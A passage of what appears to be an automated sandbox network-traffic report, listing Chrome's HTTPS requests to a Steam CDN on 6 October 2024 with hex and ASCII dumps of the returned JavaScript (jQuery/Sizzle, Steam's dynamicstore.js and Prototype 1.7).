72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 3f 31 3a 2d 31 7d 66 75 Data Ascii: ,t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}fu
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 3d 63 65 28 66 75 6e 63 Data Ascii: tion(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(func
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e 22 2c 65 Data Ascii: t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></select>",e
2024-10-06 11:20:54 UTC	1369	IN	Data Raw: 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f 6d 70 61 72 65 44 Data Ascii: egExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49734	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	550	OUT	GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	399	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "fz6Sv1tbS3ZE" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:55 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:55 UTC	15985	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 74 45 6c 65 6d 53 4e 52 28 20 24 45 6c 65 6d 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 73 6e 72 20 3d 20 24 45 6c 65 6d 2e 64 61 74 61 28 20 27 73 6e 72 27 20 29 3b 0d 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 73 6e 72 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 73 6e 72 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6c 6f 6f 6b 20 66 6f 72 20 6c 69 6e 6b 73 20 77 69 74 68 20 73 6e 72 20 70 61 72 61 6d 65 74 65 72 0d 0a 09 76 61 72 20 6c 69 6e 6b 73 20 3d 20 24 45 6c 65 6d 2e 69 73 28 20 27 61 27 20 29 20 3f 20 24 45 6c 65 6d 20 3a 20 24 45 6c 65 6d 2e 66 69 6e 64 28 20 27 61 27 20 29 3b 0d 0a 09 73 6e 72 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 66 6f 72 20 Data Ascii: 0000C000function GetElemSNR( $Elem ){var snr = $Elem.data( 'snr' );if ( typeof snr != 'undefined' ){return snr;}// look for links with snr parametervar links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );snr = null;for
2024-10-06 11:20:55 UTC	15839	IN	Data Raw: 6c 75 73 74 65 72 2e 65 6c 53 63 72 6f 6c 6c 41 72 65 61 20 29 3b 0d 0a 09 09 76 61 72 20 63 61 70 73 75 6c 65 73 20 3d 20 24 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 61 69 6e 65 72 2e 66 69 6e 64 28 20 27 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 27 20 29 3b 0d 0a 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 49 6d 70 72 65 73 73 69 6f 6e 54 72 61 63 6b 65 72 2e 54 72 61 63 6b 41 70 70 65 61 72 61 6e 63 65 49 66 56 69 73 69 62 6c 65 28 20 63 61 70 73 75 6c 65 73 5b 63 6c 75 73 74 65 72 2e 6e 43 75 72 43 61 70 5d 20 29 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 48 61 6e 64 6c 65 43 61 72 6f 75 73 65 6c 43 68 61 6e 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 74 61 72 67 65 74 69 64 2c 20 63 75 72 50 6f 73 2c 20 70 61 67 65 53 69 7a 65 20 29 20 7b 0d 0a 09 Data Ascii: luster.elScrollArea );var capsules = $ScrollingContainer.find( '.cluster_capsule' );GDynamicStore.s_ImpressionTracker.TrackAppearanceIfVisible( capsules[cluster.nCurCap] );},HandleCarouselChange: function( targetid, curPos, pageSize ) {
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 62 50 61 63 6b 61 67 65 44 69 73 63 6f 75 6e 74 65 64 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 63 55 73 65 72 49 74 65 6d 73 49 6e 42 75 6e 64 6c 65 2b 2b 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 50 61 63 6b 61 67 65 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e Data Ascii: BundleItem.m_bPackageDiscounted;BundleForUser.m_cUserItemsInBundle++;BundleForUser.m_nPackageBasePriceInCents += BundleItem.m_nBasePriceInCents;BundleForUser.m_nFinalPriceInCents += BundleItem.m_nFinalPriceInCents;BundleForUser.m_n
2024-10-06 11:20:55 UTC	956	IN	Data Raw: 74 6f 72 65 49 74 65 6d 44 61 74 61 28 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 41 70 70 44 61 74 61 5b 61 70 70 69 64 5d 2c 20 72 67 41 70 70 73 5b 61 70 70 69 64 5d 20 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 69 66 20 28 20 72 67 50 61 63 6b 61 67 65 73 20 26 26 20 74 79 70 65 6f 66 20 72 67 50 61 63 6b 61 67 65 73 2e 6c 65 6e 67 74 68 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 66 6f 72 28 20 76 61 72 20 70 61 63 6b 61 67 65 69 64 20 69 6e 20 72 67 50 61 63 6b 61 67 65 73 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 50 61 63 6b 61 67 65 44 61 74 61 5b 70 61 63 6b 61 67 65 69 64 5d 20 29 0d 0a 09 09 09 09 09 47 53 74 6f 72 Data Ascii: toreItemData( GStoreItemData.rgAppData[appid], rgApps[appid] );}}if ( rgPackages && typeof rgPackages.length == 'undefined' ){for( var packageid in rgPackages ){if ( !GStoreItemData.rgPackageData[packageid] )GStor
2024-10-06 11:20:55 UTC	12194	IN	Data Raw: 30 30 30 30 32 46 39 36 0d 0a 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 62 75 6e 64 6c 65 69 64 27 20 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 75 6e 42 75 6e 64 6c 65 49 44 20 26 26 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 62 75 6e 64 6c 65 69 64 3a 20 75 6e 42 75 6e 64 6c 65 49 44 2c 20 69 74 65 6d 3a 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 7d 3b 0d 0a 0d 0a 09 09 69 66 28 20 75 6e 50 61 63 6b 61 67 65 49 44 20 26 26 20 75 6e 50 61 63 6b 61 67 65 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 2c 27 29 20 21 3d 3d Data Ascii: 00002F96eID = $el.data('ds-bundleid' );if ( unBundleID && GStoreItemData.rgBundleData[unBundleID] )return { bundleid: unBundleID, item: GStoreItemData.rgBundleData[unBundleID] };if( unPackageID && unPackageID.toString().indexOf(',') !==
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 70 6c 61 74 66 6f 72 6d 20 26 26 20 53 65 74 74 69 6e 67 73 2e 6f 6e 6c 79 5f 63 75 72 72 65 6e 74 5f 70 6c 61 74 66 6f 72 6d 20 29 0d 0a 09 09 7b 0d 0a 0d 0a 09 09 09 69 66 20 28 09 28 20 21 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 62 55 73 65 72 4f 6e 4d 61 63 4f 53 20 7c 7c 20 28 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 62 55 73 65 72 4f 6e 4d 61 63 4f 53 20 26 26 20 21 72 67 49 74 65 6d 44 61 74 61 2e 6f 73 5f 6d 61 63 6f 73 20 29 20 29 20 26 26 0d 0a 09 09 09 09 09 28 20 21 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 62 55 73 65 72 4f 6e 4c 69 6e 75 78 20 7c 7c 20 28 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 62 55 73 65 72 4f 6e 4c 69 6e 75 78 20 26 26 20 21 72 67 49 74 65 6d 44 61 74 61 2e Data Ascii: 00004000platform && Settings.only_current_platform ){if (( !GDynamicStore.s_bUserOnMacOS \|\| ( GDynamicStore.s_bUserOnMacOS && !rgItemData.os_macos ) ) &&( !GDynamicStore.s_bUserOnLinux \|\| ( GDynamicStore.s_bUserOnLinux && !rgItemData.
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 66 69 6c 74 65 72 73 20 61 73 0d 0a Data Ascii: filters as
2024-10-06 11:20:55 UTC	13723	IN	Data Raw: 30 30 30 30 33 35 38 46 0d 0a 20 6c 6f 6e 67 20 77 65 20 77 65 20 63 61 6e 20 6b 65 65 70 20 34 20 69 74 65 6d 73 20 69 6e 20 74 68 65 20 63 61 70 73 75 6c 65 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 56 61 6c 69 64 45 6c 65 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 76 61 72 20 24 63 61 70 73 75 6c 65 20 3d 20 72 67 56 61 6c 69 64 45 6c 65 6d 65 6e 74 73 5b 69 5d 3b 0d 0a 09 09 09 76 61 72 20 69 74 65 6d 20 3d 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 50 61 67 65 2e 49 74 65 6d 49 44 46 72 6f 6d 43 61 70 73 75 6c 65 28 20 24 63 61 70 73 75 6c 65 20 29 3b 0d 0a 09 09 09 69 66 20 28 20 21 69 74 65 6d 20 29 0d 0a 09 09 09 09 63 6f 6e 74 69 6e 75 65 3b 0d 0a 0d 0a 09 09 09 2f 2f Data Ascii: 0000358F long we we can keep 4 items in the capsulefor( var i = 0; i < rgValidElements.length; i++ ){var $capsule = rgValidElements[i];var item = GDynamicStorePage.ItemIDFromCapsule( $capsule );if ( !item )continue;//
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49738	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	542	OUT	GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".a38iP7Khdmyy" Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=14771269 Expires: Wed, 26 Mar 2025 10:28:44 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:55 UTC	15994	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2f 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 4a 61 76 61 53 63 72 69 70 74 20 66 72 61 6d 65 77 6f 72 6b 2c 20 76 65 72 73 69 6f 6e 20 31 2e 37 0d 0a 20 2a 20 20 28 63 29 20 32 30 30 35 2d 32 30 31 30 20 53 61 6d 20 53 74 65 70 68 65 6e 73 6f 6e 0d 0a 20 2a 0d 0a 20 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 69 73 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 20 46 6f 72 20 64 65 74 61 69 6c 73 2c 20 73 65 65 20 74 68 65 20 50 72 6f 74 6f 74 79 70 65 20 77 65 62 20 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 6f 74 79 70 65 6a 73 2e 6f 72 67 2f 0d 0a 20 2a Data Ascii: 0000C000/* Prototype JavaScript framework, version 1.7 * (c) 2005-2010 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ *
2024-10-06 11:20:55 UTC	15833	IN	Data Raw: 28 2f 3c 5c 77 2b 28 5c 73 2b 28 22 5b 5e 22 5d 2a 22 7c 27 5b 5e 27 5d 2a 27 7c 5b 5e 3e 5d 29 2b 29 3f 3e 7c 3c 5c 2f 5c 77 2b 3e 2f 67 69 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 72 69 70 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 69 6d 67 27 29 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 41 6c 6c 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d Data Ascii: (/<\w+(\s+("[^"]"\|'[^']'\|[^>])+)?>\|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragm
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 28 61 72 72 61 79 50 72 6f 74 6f 2c 20 7b 0d 0a 20 20 20 20 5f 65 61 63 68 3a 20 20 20 20 20 5f 65 61 63 68 2c 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 20 20 20 20 63 6c 65 61 72 2c 0d 0a 20 20 20 20 66 69 72 73 74 3a 20 20 20 20 20 66 69 72 73 74 2c 0d 0a 20 20 20 20 6c 61 73 74 3a 20 20 20 20 20 20 6c 61 73 74 2c 0d 0a 20 20 20 20 63 6f 6d 70 61 63 74 3a 20 20 20 63 6f 6d 70 61 63 74 2c 0d 0a 20 20 20 20 66 6c 61 74 74 65 6e 3a 20 20 20 66 6c 61 74 74 65 6e 2c 0d 0a 20 20 20 20 77 69 74 68 6f 75 74 3a 20 20 20 77 69 74 68 6f 75 74 2c 0d 0a 20 20 20 20 72 65 76 65 72 73 65 3a 20 20 20 72 65 76 65 72 73 65 2c 0d 0a 20 20 20 20 75 6e 69 71 3a 20 20 20 20 20 20 75 6e 69 71 2c 0d 0a 20 20 20 20 69 6e 74 65 72 73 65 63 74 3a 20 69 6e 74 65 72 73 65 63 74 2c 0d Data Ascii: (arrayProto, { _each: _each, clear: clear, first: first, last: last, compact: compact, flatten: flatten, without: without, reverse: reverse, uniq: uniq, intersect: intersect,
2024-10-06 11:20:55 UTC	953	IN	Data Raw: 43 6f 6d 70 6c 65 74 65 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0d 0a 20 20 20 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 72 29 3b 0d 0a 20 20 20 20 28 74 68 69 73 2e 6f 6e 43 6f 6d 70 6c 65 74 65 20 7c 7c 20 50 72 6f 74 6f 74 79 70 65 2e 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 75 70 64 61 74 65 43 6f 6d 70 6c 65 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 65 63 61 79 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 64 65 63 61 79 20 3d 20 28 72 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 20 74 68 69 Data Ascii: Complete = undefined; clearTimeout(this.timer); (this.onComplete \|\| Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(response) { if (this.options.decay) { this.decay = (response.responseText == thi
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6d 65 6e 74 2e 5f 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 58 50 61 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 72 65 73 75 6c 74 73 20 3d 20 5b 5d 3b 0d 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 24 28 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 6e 75 6c 6c 2c 20 58 50 61 74 68 52 65 73 75 6c 74 2e 4f 52 44 45 52 45 44 5f 4e 4f 44 45 5f 53 4e 41 50 53 48 4f 54 5f 54 59 50 45 2c 20 6e 75 6c 6c 29 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 Data Ascii: 00004000ument._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) \|\| document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 74 28 65 6c 65 6d 65 6e 74 29 0d 0a Data Ascii: t(element)
2024-10-06 11:20:55 UTC	3235	IN	Data Raw: 30 30 30 30 30 43 39 37 0d 0a 3b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 70 6f 73 5b 30 5d 2c 20 70 6f 73 5b 31 5d 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 67 65 74 53 74 79 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 73 74 79 6c 65 29 20 7b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 24 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 73 74 79 6c 65 20 3d 20 73 74 79 6c 65 20 3d 3d 20 27 66 6c 6f 61 74 27 20 3f 20 27 63 73 73 46 6c 6f 61 74 27 20 3a 20 73 74 79 6c 65 2e 63 61 6d 65 6c 69 7a 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 73 74 79 6c 65 5d 3b 0d 0a 20 20 20 20 69 66 Data Ascii: 00000C97; window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); style = style == 'float' ? 'cssFloat' : style.camelize(); var value = element.style[style]; if
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 45 6c 65 6d 65 6e 74 2e 67 65 74 4f 66 66 73 65 74 50 61 72 65 6e 74 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 20 3d 20 45 6c 65 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 4f 66 66 73 65 74 28 70 61 72 65 6e 74 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 70 61 72 65 6e 74 20 3d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 20 7b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 30 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 4c 65 66 74 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 31 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 54 6f 70 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 6f 70 74 69 6f 6e 73 2e 73 65 74 4c Data Ascii: 00004000Element.getOffsetParent(element); delta = Element.viewportOffset(parent); } if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } if (options.setL
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 20 63 6f 70 79 28 6d 65 74 68 0d 0a Data Ascii: copy(meth
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 64 73 2c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2c 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 29 20 7b 0d 0a 20 20 20 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 3d 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 70 72 6f 70 65 72 74 79 20 69 6e 20 6d 65 74 68 6f 64 73 29 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 6d 65 74 68 6f 64 73 5b 70 72 6f 70 65 72 74 79 5d 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 4f 62 6a 65 63 74 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 20 63 6f 6e 74 69 6e 75 65 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 21 28 70 72 6f 70 65 72 74 79 20 69 6e 20 64 65 73 Data Ascii: 00004000ods, destination, onlyIfAbsent) { onlyIfAbsent = onlyIfAbsent \|\| false; for (var property in methods) { var value = methods[property]; if (!Object.isFunction(value)) continue; if 